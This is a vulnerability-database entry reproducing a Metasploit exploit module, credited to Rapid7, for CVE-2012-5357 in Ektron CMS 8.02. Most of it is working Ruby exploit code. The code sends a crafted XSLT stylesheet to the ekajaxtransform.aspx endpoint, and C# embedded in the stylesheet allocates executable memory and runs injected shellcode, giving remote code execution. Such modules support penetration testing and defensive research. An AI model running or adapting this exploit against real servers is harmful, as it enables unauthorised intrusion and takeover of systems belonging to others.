Ektron 8.02 XSLT Transform Remote Code Execution

2012-12-03T19:12:02
ID MSF:EXPLOIT/WINDOWS/HTTP/EKTRON_XSLT_EXEC
Type metasploit
Reporter Rapid7
Modified 2020-10-02T20:00:37

Description

This module exploits a vulnerability in Ektron CMS 8.02 (before SP5). The vulnerability exists due to the insecure usage of XslCompiledTransform, using a XSLT controlled by the user. The module has been tested successfully on Ektron CMS 8.02 over Windows 2003 SP2, which allows to execute arbitrary code with NETWORK SERVICE privileges.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/file_dropper'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ektron 8.02 XSLT Transform Remote Code Execution',
      'Description'    => %q{
          This module exploits a vulnerability in Ektron CMS 8.02 (before SP5). The
        vulnerability exists due to the insecure usage of XslCompiledTransform, using a
        XSLT controlled by the user. The module has been tested successfully on Ektron CMS
        8.02 over Windows 2003 SP2, which allows to execute arbitrary code with NETWORK
        SERVICE privileges.
      },
      'Author'         => [
        'Rich Lundeen', # Vulnerability discovery
        'juan vazquez', # Metasploit module
        'Nicolas "Nicob" Gregoire' # C# code using VirtualAlloc + copy shellcode + CreateThread
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-5357'],
          [ 'OSVDB', '88107' ],
          [ 'URL', 'http://webstersprodigy.net/2012/10/25/cve-2012-5357cve-1012-5358-cool-ektron-xslt-rce-bugs/' ],
          [ 'URL', 'http://technet.microsoft.com/en-us/security/msvr/msvr12-016' ]
        ],
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows 2003 SP2 / Ektron CMS400 8.02', { }],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2012-10-16'
    ))

    register_options(
      [
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),
        OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/'])
      ])
  end

  def check

    fingerprint = rand_text_alpha(5 + rand(5))
    xslt_data = <<-XSLT
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xml()
{
return "#{fingerprint}";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:stylesheet>
    XSLT

    res = send_request_cgi(
      {
        'uri'     => "#{uri_path}WorkArea/ContentDesigner/ekajaxtransform.aspx",
        'version' => '1.1',
        'method'  => 'POST',
        'ctype'   => "application/x-www-form-urlencoded; charset=UTF-8",
        'headers' => {
          "Referer" => build_referer
        },
        'vars_post'    => {
          "xml" => rand_text_alpha(5 + rand(5)),
          "xslt" => xslt_data
        }
      })

    if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def uri_path
    uri_path = target_uri.path
    uri_path << "/" if uri_path[-1, 1] != "/"
    uri_path
  end

  def build_referer
    if datastore['SSL']
      schema = "https://"
    else
      schema = "http://"
    end

    referer = schema
    referer << rhost
    referer << ":#{rport}"
    referer << uri_path
    referer
  end

  def exploit

    print_status("Generating the EXE Payload and the XSLT...")
    fingerprint = rand_text_alpha(5 + rand(5))

    xslt_data = <<-XSLT
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

public string xml()
{
  string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}";
  byte[] shellcode = System.Convert.FromBase64String(shellcode64);
  UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
  IntPtr hThread = IntPtr.Zero;
  IntPtr pinfo = IntPtr.Zero;
  UInt32 threadId = 0;
  hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  return "#{fingerprint}";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:stylesheet>
    XSLT

    print_status("Trying to run the xslt transformation...")
    res = send_request_cgi(
      {
        'uri'     => "#{uri_path}WorkArea/ContentDesigner/ekajaxtransform.aspx",
        'version' => '1.1',
        'method'  => 'POST',
        'ctype'   => "application/x-www-form-urlencoded; charset=UTF-8",
        'headers' => {
          "Referer" => build_referer
        },
        'vars_post'    => {
          "xml" => rand_text_alpha(5 + rand(5)),
          "xslt" => xslt_data
        }
      })
    if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
      print_good("Exploitation was successful")
    else
      fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request")
    end

  end
end